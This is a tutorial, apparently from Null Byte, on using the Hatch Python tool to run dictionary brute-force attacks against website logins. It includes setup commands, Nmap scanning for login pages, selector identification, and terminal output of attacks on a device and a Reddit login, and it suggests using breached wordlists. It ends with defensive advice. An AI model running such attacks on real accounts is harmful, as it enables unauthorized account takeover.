The tactic of brute-forcing a login, i.e., trying many passwords very quickly until the correct one is discovered, can be easy for services like SSH or Telnet. For something like a website login page, we must identify different elements of the page first. Thanks to a Python tool for brute-forcing websites called Hatch, this process has been simplified to the point that even a beginner can try it.
How Brute-Force Attacks Work
Brute-force attacks take advantage of automation to try many more passwords than a human could, breaking into a system through trial and error. More targeted brute-force attacks use a list of common passwords to speed this up, called dictionary attacks, and using this technique to check for weak passwords is often the first attack a hacker will try against a system.
In a brute-forcing attack against a service like SSH, it can be done from the command line easily by tools like Sshtrix. In a single line in a terminal, it's easy to launch a dictionary attack against a discovered SSH server using the built-in password list, making services with bad passwords extremely likely to be broken in to.
The biggest downside to a dictionary attack is that if the password does not exist in the password list, the attack will fail. If the password used on a targeted is strong, brute-force attacks can quickly become too expensive in time and resources to use as we start having to try every possible combination of characters. Another downside is that many services now do some fashion of rate-limiting, which detects too many failed login attempts and blocks further attempts for a period, which can substantially slow down a brute-force attack.
Why Brute-Force Attacks Are Harder on Websites
While it's easy to attack a service that takes a username and password over the command line, there is a lot more going on in the code of a website. To design this attack, we need to think about what the script needs to know to do its job.
We want the script to find the correct password associated with a particular account by entering a guess into the fields of the login page and submitting it until we get a successful result. To do so, we must interact with the graphical user interface of the login page to input the information into the correct fields of both the login and password fields.
After we do this, we need to submit the guess by clicking on the "Login" button on the page. Finally, we need the script to know the difference between a failure and a success, so that we can stop the script and identify the correct password guess.
All of this is a lot more work and quite confusing for beginners, but after doing so, automating brute-force attacks against the login page of most websites can be done similar to brute-forcing an SSH service.
Hatch for Brute-Forcing Web Logins
Python is an ideal language for automating these kinds of attacks, and Hatch uses Python2 to automate the Chrome web browser to stage a dictionary attack against the login of any webpage with a visible login forum. While some websites with hidden login forums that require you to scroll or click to show can confuse the script, most sites are easy to target using this tool.
Upon launching Hatch, the script opens a Chrome window for you to inspect the elements of the page you are targeting. After telling the script what site you want to brute-force a login to, it will check to see if the page exists and is accessible. If it is, Hatch will ask what login you want to brute-force, and then request a list of passwords to try during the attack.
After Hatch has the information it needs, it will open a second Chrome window and begin automating the attack. You can sit back and watch the attack unfold either in the Chrome window or the terminal that is running the attack. In the terminal, you can watch each password attempt as the script progresses down the list. While this attack is powerful and useful against a wide range of targets, it can also be foiled by rate limiting and other methods of blocking excessive login attempts.
What You'll Need
While Hatch is cross-platform, it was a little complicated to set up on some systems. We ended up getting Hatch working on a Windows system with a few modifications to the script, which we've included here.
To follow this guide, you'll need a Windows system with Chrome and Python 2 installed. The current, modern version of Python is Python3, so you'll need to make sure that you're using the right version when you execute the script. If you run Hatch with Python3, it won't work correctly.
You'll also need to install a few dependencies, including a driver, to be able to interact with Chrome programmatically.
Step 1: Check Your Version of Python
First, we'll need to install a few dependencies. To take care of these, press the Windows key or click the Start menu, then type cmd. After opening a command prompt, make sure you have Python2 installed correctly by typing python2 into the terminal window. You should see a result like below.
C:\> python2
λ python2
Python 2.7.13 (vs.7.13:a06454b1afa1, Dec 17 2016, 20:53:40) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits", or "license" for more information.
>>>
If you don't, you can download Python2. Once your Python2 is installed, type the following commands to install dependencies.
C:\> pip2 install selenium
C:\> pip2 install requests
Step 2: Install the Chrome Driver
Next, we'll need to install the driver that allows us to control Chrome from the Python program. To do so, we will download a file from the Chrome Driver website, and then create a folder called webdrivers on your C drive. Move the downloaded file into this folder. While you can place it in another directory, you would need to modify the Python code.
Step 3: Download Hatch & Install
To install Hatch, you can change directory into your C drive before cloning it to make sure you can find it, or change to another location that you'll be able to find. Type cd .. to go to the C drive of your computer, if that's where you want. You can then download a forked version of Hatch from the GitHub page by opening a terminal window and typing the following.
C:\> git clone https://github.com/nsgodshall/Hatch.git
This forked version has been modified to work on Windows. Once it is done downloading, you can type cd Hatch to change directories into the download folder.
C:\> cd Hatch
Step 4: Run Hatch & Select Your Router Login
Now that we have Hatch on our system and all of the dependencies installed, it's time to run Hatch and look at the way it works. First, let's look at the help file by running the following from inside the Hatch folder.
C:\> python2 main.py -h
You should see an output like below.
C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h
Usage: main.py [options]
Options:
-h, --help show this help message and exit
-u USERNAME, --username=USERNAME Choose the username
--usernamesel+USERNAMESEL Choose the username selector
--passsel=PASSSEL Choose the password selector
--loginsel=LOGINSEL Choose the login button selector
--passlist+PASSLIST Enter the password list directory
--website=WEBSITE choose a website
We can see the main options for Hatch here. To start, let's pick a target on our local network to attack.
A good device on your local network to test this on would be something like a router, a printer, or some other device with a login page on the network. You can select this by running an Nmap scan on the network to find any IP addresses that have port 80 open. While port 80 is the most common page for web access, you can also search for ports 81, 8080, 8081, 443 to locate the login pages of various devices.
Next, we'll need to find the subnet range so that we can scan the local network. To find this, you can use ipcalc to calculate your subnet range after finding your computer's local IP address. If your computer, for example, has an IP address of 192.168.0.3, you can run ipcalc 192.168.0.3 to get the IP range for all possible IP addresses on that network. In this case, that would be 192.168.0.0/24.
Once you know the range, run the following Nmap scan on your network, with the iprange portion changed to add the IP range of your network.
C:\> sudo nmap -p 80,8080,81,8081,443 iprange
When this scan returns, any service that lists the port as "open" should be hosting a website. Navigate to one like a printer or router that you have permission to log in to by entering the IP address followed by a colon and the port number we discovered in Nmap. You should see a login page like this:
Step 5: Identify the Login Elements
Now, we can run Hatch, but we'll still need some more information in order to pull off this attack. Run Hatch by typing the following command, after navigating to the folder you saved the program to earlier.
C:\> python2 main.py
A Google Chrome window should open, allowing us to navigate to a website we want to attack and begin identifying the parts of the website we want to manipulate.
C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h
DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
Enter the URL to the target website's login page into the first prompt from Hatch. It will check to make sure the website exists and can be accessed. Next, we'll need to identify the login and password elements of the website we're attacking.
On our target login page, right-click on the "Username" element, then click on "Inspect."
Next, click on the ellipsis (•••) to the left of the window, and a drop-down menu will appear. Click on "Copy," and then "Copy selector" to copy what Hatch will need to select and interact with this element. It should look something like "#username."
Enter the username selector into Hatch, and then repeat the process with the "Password" selector.
C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h
DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector:
Finally, right-click on the "Login" button to get the selector information, and add that to Hatch as well.
Now that we have the elements selected, we'll set the username that we're trying to brute-force. In this case, we'll just type admin. The final step will be to select the default list that comes with Hatch. This is "passlist.txt" by default, so we'll use this list in our first attack.
C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h
DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector: #login_ok
[~] Enter the username to brute-force: admin
[~] Enter a directory to a password list: passlist.txt
DevTools listerning on ws://127.0.0.1:7827/devtools/browser/0d90faa9-4f25-41a6-bd30-444cdff7705d
DevTools listerning on ws://127.0.0.1:7848/devtools/browser/33d370d5-46db-4d56-b5f4-a78554e07316
This password list isn't huge, but it does contain many common passwords. Press Return, and Hatch will open a new window to begin brute-forcing the password with the dictionary attack. You can watch the progress either from the terminal window or by watching the Chrome window that Hatch is automating.
C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h
DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector: #login_ok
[~] Enter the username to brute-force: admin
[~] Enter a directory to a password list: passlist.txt
DevTools listerning on ws://127.0.0.1:7827/devtools/browser/0d90faa9-4f25-41a6-bd30-444cdff7705d
DevTools listerning on ws://127.0.0.1:7848/devtools/browser/33d370d5-46db-4d56-b5f4-a78554e07316
------------------------
Tried password: 123456
for user: admin
------------------------
------------------------
Tried password: password
for user: admin
------------------------
------------------------
Tried password: qwerty
for user: admin
------------------------
------------------------
Tried password: Hackthis1
for user: admin
Step 6: Update Your Wordlist & Run Against an External Website
If you're not happy with the wordlist included in Hatch, you can add to it by opening it in a text editor like Nano or adding another wordlist from any repository of wordlists, such as those leaked from data breaches. After downloading a wordlist of your choice, you can add it to the "Hatch" folder, and select it instead of the default list.
- Don't Miss: Automate Brute-Force Attacks for Nmap Scans
Once you have a password list you're happy with, let's go ahead and test this on a standard website. Create a throwaway account on Reddit.com or another site, and remember the login name. Set the password of the account to one that's on one of the word lists.
After the dummy account is set up, rerun Hatch, and enter reddit.com/login (or the login page for the website you chose). Next, paste the selectors into the login, password, and button selector. Finally, enter the target username, and select the password list containing the right credentials. Press Return, and the script should open a Chrome window and begin automating the attack.
Once the script detects a successful login, it will output the password that succeeded. While the original script tended to skip this and output the wrong password on Windows, my friend Nick modified the code to prevent this from happening in his forked version. If you get any weirdness from the forked version, you can always try the original Hatch version.
⠀⠀_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://www.reddit.com/login
[!] Checking if site exists [~] Enter the username selector: #loginUsername
[~] Enter the password selector: #loginPassword
[~] Enter the Login button selector: body > div > div > div.PageColumn.PageColumn__right > div > form > fieldset:nth-child(10) > button
[~] Enter the username to brute-force: hackthisaccountNB
[~] Enter a directory to a password list: passlist.txt
DevTools listerning on ws://127.0.0.1:11301/devtools/browser/6fd2f19e-9fef-4921-863f-d3316ec3b808
DevTools listerning on ws://127.0.0.1:11318/devtools/browser/f8d672c9-8e46-477c-a93d-baf0ea6b50e1
------------------------
Tried password: 123456
for user: hackthisaccountNB
------------------------
------------------------
Tried password: password
for user: hackthisaccountNB
------------------------
------------------------
Tried password: qwerty
for user: hackthisaccountNB
------------------------
AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS!
LAST PASS ATTEMPT BELOW
Password has been found: qwerty
Have fun :)
How to Defend Against Brute-Forcing
Websites have the best ability to defend against these attacks by making sure to implement common-sense brute-forcing safeguards for dictionary and other types of attacks. Should a regular user be able to try to log in with the wrong password from a strange IP address 100 times? The answer is probably no. Be extra careful of websites that don't take these sorts of precautions, as they will be extra vulnerable to losing your account information.
On the user side, picking strong, random passwords and storing them in a password manager can help make sure your password never ends up in a password list. In general, using two-factor authentication whenever possible is your best defense against these sorts of tactics, as you'll be alerted of the login attempt. For important accounts, you should always have two-factor authentication enabled.
I hope you enjoyed this guide to using Hatch for automating dictionary attacks against web logins! If you have any questions about this tutorial on web dictionary attacks or you have a comment, feel free to write it below in the comments or reach me on Twitter @KodyKinzie.
Cover photo and screenshots by Kody/Null Byte
Comments
No Comments Exist
Be the first, drop a comment!